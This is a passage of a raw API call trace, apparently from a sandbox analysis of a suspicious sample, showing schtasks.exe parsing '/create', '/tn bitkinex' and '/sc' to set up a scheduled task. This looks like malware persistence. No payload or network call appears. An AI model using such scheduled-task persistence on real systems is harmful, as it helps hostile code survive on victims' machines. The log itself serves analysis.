returned 0x185b10 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b40 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b70 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bb50 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185ba0 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185bd0 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c00 [0062.090] GetProcessHeap () returned 0x170000 [0062.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c30 [0062.091] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.091] SetLastError (dwErrCode=0x0) [0062.091] GetProcessHeap () returned 0x170000 [0062.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c60 [0062.091] GetProcessHeap () returned 0x170000 [0062.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c90 [0062.091] GetProcessHeap () returned 0x170000 [0062.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185cc0 [0062.091] GetProcessHeap () returned 0x170000 [0062.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185cf0 [0062.091] GetProcessHeap () returned 0x170000 [0062.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185d20 [0062.091] GetProcessHeap () returned 0x170000 [0062.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bb70 [0062.091] _memicmp (_Buf1=0x18bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.091] GetProcessHeap () returned 0x170000 [0062.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x208) returned 0x18bd10 [0062.091] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0062.091] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0062.094] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0062.094] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0062.095] GetProcessHeap () returned 0x170000 [0062.095] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x74e) returned 0x18c2e0 [0062.095] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0062.095] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x18c2e0 | out: lpData=0x18c2e0) returned 1 [0062.095] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0062.095] VerQueryValueW (in: pBlock=0x18c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff728, puLen=0xff790 | out: lplpBuffer=0xff728*=0x18c67c, puLen=0xff790) returned 1 [0062.098] _memicmp (_Buf1=0x18bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.098] _vsnwprintf (in: _Buffer=0x18bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff708 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0062.098] VerQueryValueW (in: pBlock=0x18c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff798, puLen=0xff788 | out: lplpBuffer=0xff798*=0x18c4a8, puLen=0xff788) returned 1 [0062.098] lstrlenW (lpString="schtasks.exe") returned 12 [0062.098] lstrlenW (lpString="schtasks.exe") returned 12 [0062.098] lstrlenW (lpString=".EXE") returned 4 [0062.098] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0062.099] lstrlenW (lpString="schtasks.exe") returned 12 [0062.099] lstrlenW (lpString=".EXE") returned 4 [0062.099] _memicmp (_Buf1=0x18bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.099] lstrlenW (lpString="schtasks") returned 8 [0062.099] GetProcessHeap () returned 0x170000 [0062.099] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185e10 [0062.099] GetProcessHeap () returned 0x170000 [0062.099] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cbf0 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cc20 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cc50 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bb90 [0062.100] _memicmp (_Buf1=0x18bb90, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa0) returned 0x18c110 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cc80 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ccb0 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cce0 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bbb0 [0062.100] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x200) returned 0x18d3c0 [0062.100] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0062.100] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0062.100] GetProcessHeap () returned 0x170000 [0062.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x30) returned 0x187b80 [0062.101] _vsnwprintf (in: _Buffer=0x18c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff708 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0062.101] GetProcessHeap () returned 0x170000 [0062.101] GetProcessHeap () returned 0x170000 [0062.101] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2e0) returned 1 [0062.101] GetProcessHeap () returned 0x170000 [0062.101] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c2e0) returned 0x74e [0062.101] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2e0 | out: hHeap=0x170000) returned 1 [0062.101] SetLastError (dwErrCode=0x0) [0062.101] GetThreadLocale () returned 0x409 [0062.101] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.101] lstrlenW (lpString="?") returned 1 [0062.101] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] lstrlenW (lpString="create") returned 6 [0062.102] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] lstrlenW (lpString="delete") returned 6 [0062.102] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] lstrlenW (lpString="query") returned 5 [0062.102] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] lstrlenW (lpString="change") returned 6 [0062.102] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] lstrlenW (lpString="run") returned 3 [0062.102] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] lstrlenW (lpString="end") returned 3 [0062.102] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] lstrlenW (lpString="showsid") returned 7 [0062.102] GetThreadLocale () returned 0x409 [0062.102] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.102] SetLastError (dwErrCode=0x0) [0062.102] SetLastError (dwErrCode=0x0) [0062.102] lstrlenW (lpString="/create") returned 7 [0062.102] lstrlenW (lpString="-/") returned 2 [0062.102] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.102] lstrlenW (lpString="?") returned 1 [0062.102] lstrlenW (lpString="?") returned 1 [0062.102] GetProcessHeap () returned 0x170000 [0062.102] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c1c0 [0062.102] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.102] GetProcessHeap () returned 0x170000 [0062.102] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa) returned 0x18c2e0 [0062.103] lstrlenW (lpString="create") returned 6 [0062.103] GetProcessHeap () returned 0x170000 [0062.103] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c300 [0062.103] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.103] GetProcessHeap () returned 0x170000 [0062.103] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x14) returned 0x18c320 [0062.103] _vsnwprintf (in: _Buffer=0x18c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|?|") returned 3 [0062.103] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.103] lstrlenW (lpString="|?|") returned 3 [0062.103] lstrlenW (lpString="|create|") returned 8 [0062.103] SetLastError (dwErrCode=0x490) [0062.103] lstrlenW (lpString="create") returned 6 [0062.103] lstrlenW (lpString="create") returned 6 [0062.103] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.103] GetProcessHeap () returned 0x170000 [0062.103] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2e0) returned 1 [0062.103] GetProcessHeap () returned 0x170000 [0062.103] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18c2e0, Size=0x14) returned 0x18c340 [0062.103] lstrlenW (lpString="create") returned 6 [0062.103] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.103] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.103] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.103] lstrlenW (lpString="|create|") returned 8 [0062.103] lstrlenW (lpString="|create|") returned 8 [0062.103] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0062.103] SetLastError (dwErrCode=0x0) [0062.103] SetLastError (dwErrCode=0x0) [0062.103] SetLastError (dwErrCode=0x0) [0062.104] lstrlenW (lpString="/tn") returned 3 [0062.104] lstrlenW (lpString="-/") returned 2 [0062.104] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.104] lstrlenW (lpString="?") returned 1 [0062.104] lstrlenW (lpString="?") returned 1 [0062.104] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.104] lstrlenW (lpString="tn") returned 2 [0062.104] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.104] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|?|") returned 3 [0062.104] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.104] lstrlenW (lpString="|?|") returned 3 [0062.104] lstrlenW (lpString="|tn|") returned 4 [0062.104] SetLastError (dwErrCode=0x490) [0062.104] lstrlenW (lpString="create") returned 6 [0062.104] lstrlenW (lpString="create") returned 6 [0062.104] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.104] lstrlenW (lpString="tn") returned 2 [0062.104] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.104] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.104] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.104] lstrlenW (lpString="|create|") returned 8 [0062.104] lstrlenW (lpString="|tn|") returned 4 [0062.104] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0062.104] SetLastError (dwErrCode=0x490) [0062.104] lstrlenW (lpString="delete") returned 6 [0062.104] lstrlenW (lpString="delete") returned 6 [0062.104] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.104] lstrlenW (lpString="tn") returned 2 [0062.104] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.104] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|delete|") returned 8 [0062.105] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.105] lstrlenW (lpString="|delete|") returned 8 [0062.105] lstrlenW (lpString="|tn|") returned 4 [0062.105] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0062.105] SetLastError (dwErrCode=0x490) [0062.105] lstrlenW (lpString="query") returned 5 [0062.105] lstrlenW (lpString="query") returned 5 [0062.105] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.105] lstrlenW (lpString="tn") returned 2 [0062.105] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.105] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|query|") returned 7 [0062.105] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.105] lstrlenW (lpString="|query|") returned 7 [0062.105] lstrlenW (lpString="|tn|") returned 4 [0062.105] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0062.105] SetLastError (dwErrCode=0x490) [0062.105] lstrlenW (lpString="change") returned 6 [0062.105] lstrlenW (lpString="change") returned 6 [0062.105] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.105] lstrlenW (lpString="tn") returned 2 [0062.105] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.105] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|change|") returned 8 [0062.105] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.105] lstrlenW (lpString="|change|") returned 8 [0062.105] lstrlenW (lpString="|tn|") returned 4 [0062.105] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0062.105] SetLastError (dwErrCode=0x490) [0062.105] lstrlenW (lpString="run") returned 3 [0062.105] lstrlenW (lpString="run") returned 3 [0062.105] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.106] lstrlenW (lpString="tn") returned 2 [0062.106] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.106] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|run|") returned 5 [0062.106] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.106] lstrlenW (lpString="|run|") returned 5 [0062.106] lstrlenW (lpString="|tn|") returned 4 [0062.106] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0062.106] SetLastError (dwErrCode=0x490) [0062.106] lstrlenW (lpString="end") returned 3 [0062.106] lstrlenW (lpString="end") returned 3 [0062.106] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.106] lstrlenW (lpString="tn") returned 2 [0062.106] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.106] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|end|") returned 5 [0062.106] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.106] lstrlenW (lpString="|end|") returned 5 [0062.106] lstrlenW (lpString="|tn|") returned 4 [0062.106] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0062.106] SetLastError (dwErrCode=0x490) [0062.106] lstrlenW (lpString="showsid") returned 7 [0062.106] lstrlenW (lpString="showsid") returned 7 [0062.106] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.106] GetProcessHeap () returned 0x170000 [0062.106] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c340) returned 1 [0062.106] GetProcessHeap () returned 0x170000 [0062.106] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18c340, Size=0x16) returned 0x18c340 [0062.107] lstrlenW (lpString="tn") returned 2 [0062.107] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.107] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|showsid|") returned 9 [0062.107] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|tn|") returned 4 [0062.107] lstrlenW (lpString="|showsid|") returned 9 [0062.107] lstrlenW (lpString="|tn|") returned 4 [0062.107] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0062.107] SetLastError (dwErrCode=0x490) [0062.107] SetLastError (dwErrCode=0x490) [0062.107] SetLastError (dwErrCode=0x0) [0062.107] lstrlenW (lpString="/tn") returned 3 [0062.107] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0062.107] SetLastError (dwErrCode=0x490) [0062.107] SetLastError (dwErrCode=0x0) [0062.107] lstrlenW (lpString="/tn") returned 3 [0062.107] GetProcessHeap () returned 0x170000 [0062.107] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c2e0 [0062.107] GetProcessHeap () returned 0x170000 [0062.107] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd10 [0062.107] SetLastError (dwErrCode=0x0) [0062.107] SetLastError (dwErrCode=0x0) [0062.107] lstrlenW (lpString="bitkinex") returned 8 [0062.107] lstrlenW (lpString="-/") returned 2 [0062.107] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0062.107] SetLastError (dwErrCode=0x490) [0062.107] SetLastError (dwErrCode=0x490) [0062.107] SetLastError (dwErrCode=0x0) [0062.107] lstrlenW (lpString="bitkinex") returned 8 [0062.107] StrChrIW (lpStart="bitkinex", wMatch=0x3a) returned 0x0 [0062.107] SetLastError (dwErrCode=0x490) [0062.107] SetLastError (dwErrCode=0x0) [0062.107] lstrlenW (lpString="bitkinex") returned 8 [0062.107] GetProcessHeap () returned 0x170000 [0062.107] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x12) returned 0x18c370 [0062.108] GetProcessHeap () returned 0x170000 [0062.108] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd40 [0062.108] SetLastError (dwErrCode=0x0) [0062.108] SetLastError (dwErrCode=0x0) [0062.108] lstrlenW (lpString="/sc") returned 3 [0062.108] lstrlenW (lpString="-/") returned 2 [0062.108] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.108] lstrlenW (lpString="?") returned 1 [0062.108] lstrlenW (lpString="?") returned 1 [0062.108] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.108] lstrlenW (lpString="sc") returned 2 [0062.108] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.108] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|?|") returned 3 [0062.108] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.108] lstrlenW (lpString="|?|") returned 3 [0062.108] lstrlenW (lpString="|sc|") returned 4 [0062.108] SetLastError (dwErrCode=0x490) [0062.108] lstrlenW (lpString="create") returned 6 [0062.108] lstrlenW (lpString="create") returned 6 [0062.108] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.108] lstrlenW (lpString="sc") returned 2 [0062.108] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.108] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|create|") returned 8 [0062.108] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.108] lstrlenW (lpString="|create|") returned 8 [0062.108] lstrlenW (lpString="|sc|") returned 4 [0062.108] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0062.108] SetLastError (dwErrCode=0x490) [0062.108] lstrlenW (lpString="delete") returned 6 [0062.108] lstrlenW (lpString="delete") returned 6 [0062.108] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.108] lstrlenW (lpString="sc") returned 2 [0062.109] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.109] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|delete|") returned 8 [0062.109] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.109] lstrlenW (lpString="|delete|") returned 8 [0062.109] lstrlenW (lpString="|sc|") returned 4 [0062.109] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0062.109] SetLastError (dwErrCode=0x490) [0062.109] lstrlenW (lpString="query") returned 5 [0062.109] lstrlenW (lpString="query") returned 5 [0062.109] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.109] lstrlenW (lpString="sc") returned 2 [0062.109] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.109] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|query|") returned 7 [0062.109] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.109] lstrlenW (lpString="|query|") returned 7 [0062.109] lstrlenW (lpString="|sc|") returned 4 [0062.109] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0062.109] SetLastError (dwErrCode=0x490) [0062.109] lstrlenW (lpString="change") returned 6 [0062.109] lstrlenW (lpString="change") returned 6 [0062.109] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.109] lstrlenW (lpString="sc") returned 2 [0062.109] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.109] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|change|") returned 8 [0062.109] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.109] lstrlenW (lpString="|change|") returned 8 [0062.109] lstrlenW (lpString="|sc|") returned 4 [0062.109] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0062.109] SetLastError (dwErrCode=0x490) [0062.109] lstrlenW (lpString="run") returned 3 [0062.109] lstrlenW (lpString="run") returned 3 [0062.110] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.110] lstrlenW (lpString="sc") returned 2 [0062.110] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.110] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|run|") returned 5 [0062.110] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.110] lstrlenW (lpString="|run|") returned 5 [0062.110] lstrlenW (lpString="|sc|") returned 4 [0062.110] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0062.110] SetLastError (dwErrCode=0x490) [0062.110] lstrlenW (lpString="end") returned 3 [0062.110] lstrlenW (lpString="end") returned 3 [0062.110] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.110] lstrlenW (lpString="sc") returned 2 [0062.110] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.110] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|end|") returned 5 [0062.110] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.110] lstrlenW (lpString="|end|") returned 5 [0062.110] lstrlenW (lpString="|sc|") returned 4 [0062.110] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0062.110] SetLastError (dwErrCode=0x490) [0062.110] lstrlenW (lpString="showsid") returned 7 [0062.110] lstrlenW (lpString="showsid") returned 7 [0062.110] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.110] lstrlenW (lpString="sc") returned 2 [0062.110] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.110] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|showsid|") returned 9 [0062.110] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff718 | out: _Buffer="|sc|") returned 4 [0062.110] lstrlenW (lpString="|showsid|") returned 9 [0062.110] lstrlenW (lpString="|sc|") returned 4 [0062.110] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0062.111] SetLastError 